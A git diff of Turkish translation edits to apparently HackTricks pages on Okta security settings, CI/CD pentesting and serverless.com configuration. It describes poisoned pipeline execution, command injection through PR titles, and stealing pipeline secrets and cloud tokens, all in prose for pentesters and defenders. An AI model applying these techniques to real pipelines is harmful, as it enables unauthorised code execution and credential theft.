@@ -53,19 +53,19 @@ Ayrıca, **Ayarlar** sekmesinde, eğer yöneticiyseniz, "**Özel bir çıkış s
Burada ilginç bir şey yok.
-### End-User Dashboard
+### Son Kullanıcı Gösterge Tablosu
Burada yapılandırılmış uygulamaları bulabilirsiniz, ancak bunların ayrıntılarını daha sonra farklı bir bölümde göreceğiz.
-### Other
+### Diğer
İlginç bir ayar, ancak güvenlik açısından süper ilginç bir şey yok.
-## Applications
+## Uygulamalar
-### Applications
+### Uygulamalar
-Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırıldığı (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler...
+Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırılmış (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler...
**`Oturum Açma`** sekmesinde, uygulama ayarlarını kontrol ederken bir kullanıcının **şifresini açığa çıkarmasına** izin veren **`Şifreyi göster`** adında bir alan da bulunmaktadır. Kullanıcı Panelinden bir uygulamanın ayarlarını kontrol etmek için 3 noktaya tıklayın:
@@ -75,22 +75,22 @@ Ve uygulama hakkında daha fazla ayrıntı görebilirsiniz (şifreyi gösterme
-## Identity Governance
+## Kimlik Yönetimi
-### Access Certifications
+### Erişim Sertifikaları
-Erişim Sertifikalarını kullanarak, kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun.
+Erişim Sertifikalarını kullanarak kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun.
-Bunu kullanmadım, ama savunma açısından güzel bir özellik olduğunu düşünüyorum.
+Bunu kullanıldığını görmedim, ama savunma açısından güzel bir özellik olduğunu düşünüyorum.
-## Security
+## Güvenlik
-### General
+### Genel
-- **Güvenlik bildirim e-postaları**: Hepsi etkinleştirilmelidir.
+- **Güvenlik bildirim e-postaları**: Hepsi etkin olmalıdır.
- **CAPTCHA entegrasyonu**: En azından görünmez reCaptcha ayarlamak önerilir.
-- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün uygundur).
-- **Kullanıcı numaralandırma önleme**: Her ikisi de etkinleştirilmelidir.
+- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün yeterlidir).
+- **Kullanıcı numaralandırma önleme**: Her ikisi de etkin olmalıdır.
- Kullanıcı Numaralandırma Önleme, aşağıdaki koşullardan biri izin verilirse etkili olmaz (daha fazla bilgi için [Kullanıcı yönetimi](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) bakın):
- Kendinize hizmet kaydı
- E-posta kimlik doğrulaması ile JIT akışları
@@ -100,7 +100,7 @@ Bunu kullanmadım, ama savunma açısından güzel bir özellik olduğunu düş
Burada doğru ve **tehlikeli** yapılandırılmış **ayarları** bulmak mümkündür.
-### Authenticators
+### Kimlik Doğrulayıcılar
Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini bulabilirsiniz: Şifre, telefon, e-posta, kod, WebAuthn... Şifre kimlik doğrulayıcısına tıkladığınızda **şifre politikası** görebilirsiniz. Güçlü olduğundan emin olun.
@@ -110,13 +110,13 @@ Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini
Telefonu devre dışı bırakmak önerilir. En güçlü olanlar muhtemelen şifre, e-posta ve WebAuthn kombinasyonudur.
-### Authentication policies
+### Kimlik Doğrulama Politikaları
Her uygulamanın bir kimlik doğrulama politikası vardır. Kimlik doğrulama politikası, uygulamaya giriş yapmaya çalışan kullanıcıların belirli koşulları karşıladığını doğrular ve bu koşullara dayalı olarak faktör gereksinimlerini uygular.
Burada her uygulamaya erişim için **gereksinimleri** bulabilirsiniz. Her uygulama için en az bir şifre ve başka bir yöntem talep edilmesi önerilir. Ancak bir saldırgan olarak daha zayıf bir şey bulursanız, onu hedef alabilirsiniz.
-### Global Session Policy
+### Küresel Oturum Politikası
Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin:
@@ -124,75 +124,75 @@ Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin
MFA talep edilmesi, oturum süresinin birkaç saatle sınırlanması, oturum çerezlerinin tarayıcı uzantıları arasında kalıcı olmaması ve konum ile Kimlik Sağlayıcısını (bu mümkünse) sınırlamak önerilir. Örneğin, her kullanıcının bir ülkeden giriş yapması gerekiyorsa, yalnızca bu konuma izin verebilirsiniz.
-### Identity Providers
+### Kimlik Sağlayıcıları
-Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendi kendine kaydolmalarını** sağlar.
+Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendilerini kaydetmelerini** sağlar.
Kimlik Sağlayıcıları sayfasında, sosyal girişleri (IdP'ler) ekleyebilir ve Okta'yı bir hizmet sağlayıcı (SP) olarak yapılandırmak için içe aktarılan SAML ekleyebilirsiniz. IdP'leri ekledikten sonra, kullanıcıları bir IdP'ye yönlendirmek için bağlama dayalı yönlendirme kuralları ayarlayabilirsiniz; örneğin, kullanıcının konumu, cihazı veya e-posta alanı gibi.
**Herhangi bir kimlik sağlayıcı yapılandırılmışsa**, saldırganlar ve savunucular açısından bu yapılandırmayı kontrol edin ve **kaynağın gerçekten güvenilir olup olmadığını** kontrol edin, çünkü bir saldırgan bunu tehlikeye atarak Okta ortamına da erişim sağlayabilir.
-### Delegated Authentication
+### Devredilmiş Kimlik Doğrulama
-Delege edilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır.
+Devredilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır.
Yine, bunu yeniden kontrol edin, çünkü bir saldırganın bir kuruluşun AD'sini tehlikeye atması, bu ayar sayesinde Okta'ya geçiş yapabilmesine neden olabilir.
-### Network
+### Ağ
-Bir ağ bölgesi, erişimi **vermek veya kısıtlamak için** kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden **IP adresine** dayalı olarak bilgisayarlara ve cihazlara erişim sağlar. Bir ağ bölgesini, bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek tanımlayabilirsiniz.
+Bir ağ bölgesi, erişimi **vermek veya kısıtlamak** için kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden bilgisayarlar ve cihazlar için **IP adresine** dayalıdır. Bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek bir ağ bölgesi tanımlayabilirsiniz.
Bir veya daha fazla ağ bölgesi tanımladıktan sonra, bunları **Küresel Oturum Politikalarında**, **kimlik doğrulama politikalarında**, VPN bildirimlerinde ve **yönlendirme kurallarında** kullanabilirsiniz.
-Saldırganlar açısından hangi IP'lerin izinli olduğunu bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanılıp kullanılmadığını kontrol edin.
+Saldırganlar açısından hangi IP'lerin izin verildiğini bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanıldığını kontrol edin.
-### Device Integrations
+### Cihaz Entegrasyonları
- **Uç Nokta Yönetimi**: Uç nokta yönetimi, yönetilen cihazların bir uygulamaya erişimini sağlamak için bir kimlik doğrulama politikasında uygulanabilecek bir koşuldur.
-- Bunu henüz görmedim. TODO
-- **Bildirim hizmetleri**: Bunu henüz görmedim. TODO
+- Bunu henüz görmedim. YAPILACAK
+- **Bildirim hizmetleri**: Bunu henüz görmedim. YAPILACAK
### API
Bu sayfada Okta API jetonları oluşturabilir ve **oluşturulan** jetonları, **yetkilerini**, **sona erme** sürelerini ve **Kaynak URL'lerini** görebilirsiniz. API jetonları, jetonu oluşturan kullanıcının izinleriyle oluşturulur ve yalnızca **oluşturan kullanıcı** **aktif** olduğunda geçerlidir.
-**Güvenilir Kaynaklar**, Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için kontrol ettiğiniz ve güvendiğiniz web sitelerine erişim izni verir.
+**Güvenilir Kaynaklar**, kontrol ettiğiniz ve Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için güvenilir olan web sitelerine erişim izni verir.
-Çok fazla API jetonu olmamalıdır, çünkü varsa bir saldırgan bunlara erişmeye çalışabilir ve kullanabilir.
+Çok fazla API jetonu olmamalıdır, çünkü eğer varsa bir saldırgan bunlara erişmeye ve kullanmaya çalışabilir.
-## Workflow
+## İş Akışı
-### Automations
+### Otomasyonlar
Otomasyonlar, son kullanıcıların yaşam döngüsü sırasında meydana gelen bir dizi tetikleyici koşuluna dayalı olarak çalışan otomatik eylemler oluşturmanıza olanak tanır.
-Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Kullanıcı yaşam döngüsü durumunu Okta'da değiştir" olabilir.
+Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Okta'da kullanıcı yaşam döngüsü durumunu değiştir" olabilir.
-## Reports
+## Raporlar
-### Reports
+### Raporlar
Günlükleri indirin. Bunlar, mevcut hesabın **e-posta adresine** **gönderilir**.
-### System Log
+### Sistem Günlüğü
Burada, kullanıcıların Okta'da veya Okta aracılığıyla uygulamalarda gerçekleştirdiği **hareketlerin günlüklerini** bulabilirsiniz.
-### Import Monitoring
+### İçe Aktarma İzleme
Bu, **Okta ile erişilen diğer platformlardan günlükleri içe aktarabilir**.
-### Rate limits
+### Hız limitleri
Ulaşılan API hız limitlerini kontrol edin.
-## Settings
+## Ayarlar
-### Account
+### Hesap
-Burada, şirket adı, adres, **e-posta fatura iletişim bilgisi**, **e-posta teknik iletişim bilgisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz.
+Burada, şirket adı, adres, **e-posta fatura iletişim kişisi**, **e-posta teknik iletişim kişisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz.
-### Downloads
+### İndirmeler
Burada, Okta'yı diğer teknolojilerle senkronize etmek için Okta ajanlarını indirebilirsiniz.
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 22b13134f..3eeb65e50 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodolojisi
+# Pentesting CI/CD Metodolojisi
{{#include ../banners/hacktricks-training.md}}
@@ -16,7 +16,7 @@ VCS, **Versiyon Kontrol Sistemi** anlamına gelir, bu sistemler geliştiricileri
## CI/CD Boru Hatları
-CI/CD boru hatları, geliştiricilerin **kodun yürütülmesini otomatikleştirmelerine** olanak tanır; bu, uygulamaların inşası, test edilmesi ve dağıtılması gibi çeşitli amaçlar için geçerlidir. Bu otomatik iş akışları, **belirli eylemler** tarafından **tetiklenir**, örneğin kod itmeleri, çekme istekleri veya planlanmış görevler. Geliştirme sürecini üretime taşımak için faydalıdırlar.
+CI/CD boru hatları, geliştiricilerin çeşitli amaçlar için **kodun yürütülmesini otomatikleştirmelerine** olanak tanır; bunlar arasında uygulamaların inşası, test edilmesi ve dağıtılması yer alır. Bu otomatik iş akışları, **belirli eylemler** tarafından tetiklenir; örneğin kod itmeleri, çekme istekleri veya planlanmış görevler. Geliştirme sürecinden üretime geçişi kolaylaştırmak için faydalıdırlar.
Ancak, bu sistemlerin **bir yerde yürütülmesi** gerekir ve genellikle **kod dağıtmak veya hassas bilgilere erişmek için ayrıcalıklı kimlik bilgileri** ile çalışır.
@@ -25,64 +25,64 @@ Ancak, bu sistemlerin **bir yerde yürütülmesi** gerekir ve genellikle **kod d
> [!NOTE]
> Bazı VCS platformları bu bölüm için boru hatları oluşturulmasına izin verse de, yalnızca kaynak kodunun kontrolüne yönelik potansiyel saldırıları analiz edeceğiz.
-Projenizin kaynak kodunu içeren platformlar hassas bilgiler içerir ve insanlar bu platformda verilen izinlerle çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği bazı yaygın sorunlar şunlardır:
+Projenizin kaynak kodunu içeren platformlar hassas bilgiler barındırır ve insanlar bu platformda verilen izinlerle çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği bazı yaygın sorunlar şunlardır:
- **Sızıntılar**: Kodunuzda taahhütlerde sızıntılar varsa ve saldırgan repo'ya erişebiliyorsa (çünkü kamuya açıktır veya erişimi vardır), sızıntıları keşfedebilir.
-- **Erişim**: Eğer bir saldırgan **VCS platformunda bir hesaba erişebiliyorsa**, **daha fazla görünürlük ve izin** kazanabilir.
-- **Kayıt**: Bazı platformlar yalnızca dış kullanıcıların hesap oluşturmasına izin verir.
+- **Erişim**: Eğer bir saldırgan **VCS platformunda bir hesaba erişim sağlayabiliyorsa**, **daha fazla görünürlük ve izin** kazanabilir.
+- **Kayıt**: Bazı platformlar yalnızca dış kullanıcıların bir hesap oluşturmasına izin verir.
- **SSO**: Bazı platformlar kullanıcıların kayıt olmasına izin vermez, ancak geçerli bir SSO ile erişim sağlar (bu nedenle bir saldırgan örneğin github hesabını kullanarak girebilir).
- **Kimlik Bilgileri**: Kullanıcı adı+Şifre, kişisel tokenlar, ssh anahtarları, Oauth tokenları, çerezler... bir kullanıcının bir repo'ya erişmek için çalabileceği çeşitli token türleri vardır.
-- **Webhooks**: VCS platformları webhook'lar oluşturulmasına izin verir. Eğer bunlar **görünmeyen sırlarla korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**.
-- Eğer hiçbir gizli bilgi yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir.
-- Eğer gizli bilgi URL'de ise, aynı şey olur ve saldırgan da gizli bilgiye sahip olur.
+- **Webhooks**: VCS platformları webhook'lar oluşturulmasına izin verir. Eğer bunlar **görünmeyen gizli anahtarlarla korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**.
+- Eğer gizli bir anahtar yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir.
+- Eğer gizli anahtar URL'de ise, aynı şey olur ve saldırgan da gizli anahtara sahip olur.
- **Kodun tehlikeye atılması:** Eğer kötü niyetli bir aktörün repo'lar üzerinde bir tür **yazma** erişimi varsa, **kötü niyetli kod enjekte etmeye** çalışabilir. Başarılı olmak için **dal korumalarını aşması** gerekebilir. Bu eylemler farklı hedeflerle gerçekleştirilebilir:
- Ana dalı tehlikeye atmak, **üretimi tehlikeye atmak**.
-- Ana (veya diğer dalları) tehlikeye atmak, **geliştirici makinelerini tehlikeye atmak** (çünkü genellikle test, terraform veya diğer şeyleri kendi makinelerinde repo içinde çalıştırırlar).
+- Ana dalı (veya diğer dalları) tehlikeye atmak, **geliştirici makinelerini tehlikeye atmak** (çünkü genellikle test, terraform veya diğer şeyleri kendi makinelerinde repo içinde çalıştırırlar).
- **Boru hattını tehlikeye atmak** (bir sonraki bölüme bakın).
## Boru Hatları Pentesting Metodolojisi
Bir boru hattını tanımlamanın en yaygın yolu, boru hattının inşa edildiği **repo'da barındırılan bir CI yapılandırma dosyası** kullanmaktır. Bu dosya, yürütülen işlerin sırasını, akışı etkileyen koşulları ve yapı ortamı ayarlarını tanımlar.\
-Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir, örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde, boru hattı işi **seçilen kaynaktan kodu çeker** (örneğin taahhüt / dal) ve **CI yapılandırma dosyasında belirtilen komutları** o kod üzerinde çalıştırır.
+Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir; örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altında bulunan GitHub Actions YAML dosyaları. Tetiklendiğinde, boru hattı işi **seçilen kaynaktan kodu çeker** (örneğin taahhüt / dal) ve **CI yapılandırma dosyasında belirtilen komutları** o kod üzerinde çalıştırır.
Bu nedenle, saldırganın nihai hedefi, bir şekilde **bu yapılandırma dosyalarını** veya **yürüttükleri komutları tehlikeye atmaktır**.
### PPE - Zehirli Boru Hattı Yürütmesi
-Zehirli Boru Hattı Yürütmesi (PPE) yolu, bir SCM deposundaki izinleri kullanarak bir CI boru hattını manipüle eder ve zararlı komutlar yürütür. Gerekli izinlere sahip kullanıcılar, CI yapılandırma dosyalarını veya boru hattı işinin kullandığı diğer dosyaları kötü niyetli komutlar eklemek için değiştirebilir. Bu, CI boru hattını "zehirler" ve bu kötü niyetli komutların yürütülmesine yol açar.
+Zehirli Boru Hattı Yürütmesi (PPE) yolu, bir SCM deposundaki izinleri kullanarak bir CI boru hattını manipüle etmek ve zararlı komutlar yürütmek için kullanılır. Gerekli izinlere sahip kullanıcılar, CI yapılandırma dosyalarını veya boru hattı işinin kullandığı diğer dosyaları kötü niyetli komutlar eklemek için değiştirebilir. Bu, CI boru hattını "zehirler" ve bu zararlı komutların yürütülmesine yol açar.
-Kötü niyetli bir aktörün PPE saldırısı gerçekleştirmesi için şunları yapabilmesi gerekir:
+Kötü niyetli bir aktörün PPE saldırısını başarılı bir şekilde gerçekleştirebilmesi için:
-- **VCS platformuna yazma erişimine sahip olmak**, çünkü genellikle boru hatları bir itme veya çekme isteği gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting metodolojisine bakın).
+- **VCS platformuna yazma erişimine sahip olması** gerekir, çünkü genellikle boru hatları bir itme veya çekme isteği gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting metodolojisine bakın).
- Bazen bir **dış PR'nin "yazma erişimi" olarak sayıldığını** unutmayın.
-- Yazma izinlerine sahip olsa bile, **CI yapılandırma dosyasını veya yapılandırmanın dayandığı diğer dosyaları değiştirebileceğinden emin olmalıdır**.
+- Yazma izinlerine sahip olsa bile, **CI yapılandırma dosyasını veya yapılandırmanın dayandığı diğer dosyaları değiştirebileceğinden emin olması** gerekir.
- Bunun için **dal korumalarını aşabilmesi** gerekebilir.
Üç PPE çeşidi vardır:
-- **D-PPE**: **Doğrudan PPE** saldırısı, aktörün **yürütülecek CI yapılandırma** dosyasını değiştirdiği durumdur.
-- **I-DDE**: **Dolaylı PPE** saldırısı, aktörün **yürütülecek CI yapılandırma dosyasının** dayandığı bir **dosyayı** değiştirdiği durumdur (örneğin bir make dosyası veya bir terraform yapılandırması).
-- **Halka Açık PPE veya 3PE**: Bazı durumlarda, boru hatları **repo'da yazma erişimi olmayan kullanıcılar tarafından tetiklenebilir** (ve bu kullanıcılar belki de organizasyonun bir parçası bile olmayabilir) çünkü bir PR gönderebilirler.
-- **3PE Komut Enjeksiyonu**: Genellikle, CI/CD boru hatları **PR hakkında bilgi içeren ortam değişkenleri** ayarlayacaktır. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (örneğin PR'nin başlığı gibi) ve **tehlikeli bir yerde** (örneğin **sh komutları** yürütmek gibi) kullanılıyorsa, bir saldırgan **orada komut enjekte edebilir**.
+- **D-PPE**: **Doğrudan PPE** saldırısı, aktörün **yürütülecek CI yapılandırma** dosyasını **değiştirdiği** durumdur.
+- **I-DDE**: **Dolaylı PPE** saldırısı, aktörün **yürütülecek CI yapılandırma dosyasının** **dayandığı** bir **dosyayı** **değiştirdiği** durumdur (örneğin bir make dosyası veya terraform yapılandırması).
+- **Halka Açık PPE veya 3PE**: Bazı durumlarda, boru hatları **repo'da yazma erişimi olmayan kullanıcılar tarafından tetiklenebilir** (ve bu kullanıcılar belki de organizasyonun bir parçası bile değildir) çünkü bir PR gönderebilirler.
+- **3PE Komut Enjeksiyonu**: Genellikle, CI/CD boru hatları **PR hakkında bilgi içeren ortam değişkenleri** **ayarlar**. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (örneğin PR'nin başlığı gibi) ve **tehlikeli bir yerde** (örneğin **sh komutları** yürütmek gibi) **kullanılıyorsa**, bir saldırgan **orada komut enjekte edebilir**.
-### Sömürü Faydaları
+### Kötüye Kullanım Faydaları
-Bir boru hattını zehirlemenin 3 çeşidini bildiğimizde, başarılı bir sömürüden sonra bir saldırganın elde edebileceği şeylere bakalım:
+Bir boru hattını zehirlemenin 3 çeşidini bildiğimizde, başarılı bir kötüye kullanım sonrasında bir saldırganın elde edebileceği şeylere bakalım:
-- **Sırları**: Daha önce belirtildiği gibi, boru hatları işlerinin yürütülmesi için **ayrıcalıklara** ihtiyaç duyar (kodu almak, inşa etmek, dağıtmak...) ve bu ayrıcalıklar genellikle **sırlarla verilir**. Bu sırlar genellikle **ortam değişkenleri veya sistem içindeki dosyalar aracılığıyla** erişilebilir. Bu nedenle, bir saldırgan her zaman mümkün olduğunca çok sır çıkarmaya çalışacaktır.
-- Saldırgan, boru hattı platformuna bağlı olarak **sırları yapılandırmada belirtmek zorunda kalabilir**. Bu, eğer saldırgan CI yapılandırma boru hattını değiştiremiyorsa (**I-PPE** örneğin), yalnızca o boru hattının sahip olduğu sırları **çıkartabileceği** anlamına gelir.
+- **Gizli Bilgiler**: Daha önce belirtildiği gibi, boru hatları işlerinin (kodu almak, inşa etmek, dağıtmak...) **ayrıcalıklara** ihtiyaç duyar ve bu ayrıcalıklar genellikle **gizli bilgilerle** verilir. Bu gizli bilgiler genellikle **ortam değişkenleri veya sistem içindeki dosyalar** aracılığıyla erişilebilir. Bu nedenle, bir saldırgan her zaman mümkün olduğunca çok gizli bilgi sızdırmaya çalışacaktır.
+- Boru hattı platformuna bağlı olarak, saldırgan **gizli bilgileri yapılandırmada belirtmek zorunda kalabilir**. Bu, saldırgan CI yapılandırma boru hattını değiştiremiyorsa (**I-PPE** örneğin), yalnızca o boru hattının sahip olduğu gizli bilgileri **sızdırabileceği** anlamına gelir.
- **Hesaplama**: Kod bir yerde yürütülür, nerede yürütüldüğüne bağlı olarak bir saldırgan daha ileriye geçebilir.
- **Yerinde**: Eğer boru hatları yerinde yürütülüyorsa, bir saldırgan **daha fazla kaynağa erişimi olan bir iç ağa** girebilir.
-- **Bulut**: Saldırgan **buluttaki diğer makinelere** erişebilir ama aynı zamanda **IAM rolleri/hizmet hesapları** **tokenlarını** çıkartarak **bulut içinde daha fazla erişim** elde edebilir.
-- **Platform makinesi**: Bazen işler **boru hattı platform makineleri** içinde yürütülür, bu makineler genellikle **daha fazla erişim** olmadan bir bulut içindedir.
-- **Seçin:** Bazen **boru hattı platformu birkaç makineyi yapılandırmış olacaktır** ve eğer CI yapılandırma dosyasını **değiştirebilirseniz**, kötü niyetli kodu nerede çalıştırmak istediğinizi **belirtebilirsiniz**. Bu durumda, bir saldırgan muhtemelen her olası makinede bir ters kabuk çalıştırarak daha fazla sömürü sağlamaya çalışacaktır.
+- **Bulut**: Saldırgan **buluttaki diğer makinelere** erişebilir, ancak ayrıca **IAM rolleri/hizmet hesapları** **tokenlarını** sızdırarak **bulut içinde daha fazla erişim** elde edebilir.
+- **Platform makineleri**: Bazen işler **boru hattı platform makineleri** içinde yürütülür, bu makineler genellikle **daha fazla erişim** olmadan bir bulut içindedir.
+- **Seçin:** Bazen **boru hattı platformu birkaç makineyi yapılandırmış olabilir** ve eğer **CI yapılandırma dosyasını değiştirebilirseniz**, kötü niyetli kodu nerede çalıştırmak istediğinizi **belirtebilirsiniz**. Bu durumda, bir saldırgan muhtemelen her olası makinede bir ters kabuk çalıştırarak daha fazla kötüye kullanmaya çalışacaktır.
- **Üretimi tehlikeye atmak**: Eğer boru hattı içindeyseniz ve nihai versiyon buradan inşa edilip dağıtılıyorsa, **üretimde çalışacak kodu tehlikeye atabilirsiniz**.
## Daha Fazla İlgili Bilgi
### Araçlar & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench), yeni bir [**CIS Yazılım Tedarik Zinciri benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için yazılım tedarik zinciri yığınınızı denetlemek için açık kaynak bir araçtır. Denetim, kod zamanından dağıtım zamanına kadar riskleri ortaya çıkarabileceği tüm SDLC sürecine odaklanır.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench), yeni bir [**CIS Yazılım Tedarik Zinciri benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde güvenlik uyumluluğu için yazılım tedarik zinciri yığınınızı denetlemek için açık kaynaklı bir araçtır. Denetim, kod zamanından dağıtım zamanına kadar riskleri ortaya çıkarabileceği tüm SDLC sürecine odaklanır.
### En İyi 10 CI/CD Güvenlik Riski
@@ -90,7 +90,7 @@ Cider'a göre en iyi 10 CI/CD riski hakkında bu ilginç makaleyi kontrol edin:
### Laboratuvarlar
-- Yerel olarak çalıştırabileceğiniz her platformda, test etmek için istediğiniz gibi yapılandırabileceğiniz şekilde yerel olarak nasıl başlatılacağını bulacaksınız.
+- Yerel olarak çalıştırabileceğiniz her platformda, test etmek için istediğiniz gibi yapılandırabileceğiniz şekilde nasıl başlatılacağını bulacaksınız.
- Gitea + Jenkins laboratuvarı: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Otomatik Araçlar
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index d468270e3..3d4d1b5d2 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -50,7 +50,7 @@ method: get
Olay
-**Olaylar**, sunucusuz işlevlerinizi tetikleyen tetikleyicilerdir. Bir işlevin nasıl ve ne zaman çalıştırılacağını tanımlar.
+**Olaylar**, sunucusuz fonksiyonlarınızı tetikleyen tetikleyicilerdir. Bir fonksiyonun nasıl ve ne zaman çalıştırılacağını tanımlarlar.
Yaygın olay türleri arasında HTTP istekleri, planlı olaylar (cron işleri), veritabanı olayları, dosya yüklemeleri ve daha fazlası bulunur.
```yaml
@@ -70,9 +70,9 @@ rate: rate(10 minutes)
Kaynak
-**Kaynaklar**, hizmetinizin bağımlı olduğu ek bulut kaynaklarını tanımlamanıza olanak tanır, örneğin veritabanları, depolama kovaları veya IAM rolleri.
+**Kaynaklar**, hizmetinizin bağımlı olduğu ek bulut kaynaklarını tanımlamanıza olanak tanır; örneğin veritabanları, depolama alanları veya IAM rolleri.
-`resources` bölümünde belirtilir, genellikle AWS için CloudFormation sözdizimi kullanılarak.
+`resources` bölümünde belirtilir ve genellikle AWS için CloudFormation sözdizimi kullanılır.
```yaml
resources:
Resources:
@@ -140,7 +140,7 @@ plugins:
Katmanlar
-**Katmanlar**, paylaşılan kodu veya bağımlılıkları işlevlerinizden ayrı olarak paketlemenize ve yönetmenize olanak tanır. Bu, yeniden kullanılabilirliği teşvik eder ve dağıtım paketlerinin boyutunu azaltır. `layers` bölümünde tanımlanır ve işlevler tarafından referans gösterilir.
+**Katmanlar**, paylaşılan kodu veya bağımlılıkları işlevlerinizden ayrı olarak paketlemenizi ve yönetmenizi sağlar. Bu, yeniden kullanılabilirliği teşvik eder ve dağıtım paketlerinin boyutunu azaltır. Katmanlar, `layers` bölümünde tanımlanır ve işlevler tarafından referans gösterilir.
```yaml
layers:
commonLibs:
@@ -159,7 +159,7 @@ layers:
**Değişkenler**, yer tutucuların kullanımıyla dinamik yapılandırmayı mümkün kılar; bu yer tutucular dağıtım zamanında çözülür.
-- **Sözdizimi:** `${variable}` sözdizimi, ortam değişkenlerine, dosya içeriklerine veya diğer yapılandırma parametrelerine atıfta bulunabilir.
+- **Sözdizimi:** `${variable}` sözdizimi, ortam değişkenlerine, dosya içeriklerine veya diğer yapılandırma parametrelerine referans verebilir.
```yaml
functions:
@@ -169,7 +169,7 @@ environment:
TABLE_NAME: ${self:custom.tableName}
```
-* **Özel Değişkenler:** `custom` bölümü, `serverless.yml` dosyası boyunca yeniden kullanılabilecek kullanıcıya özgü değişkenleri ve yapılandırmaları tanımlamak için kullanılır.
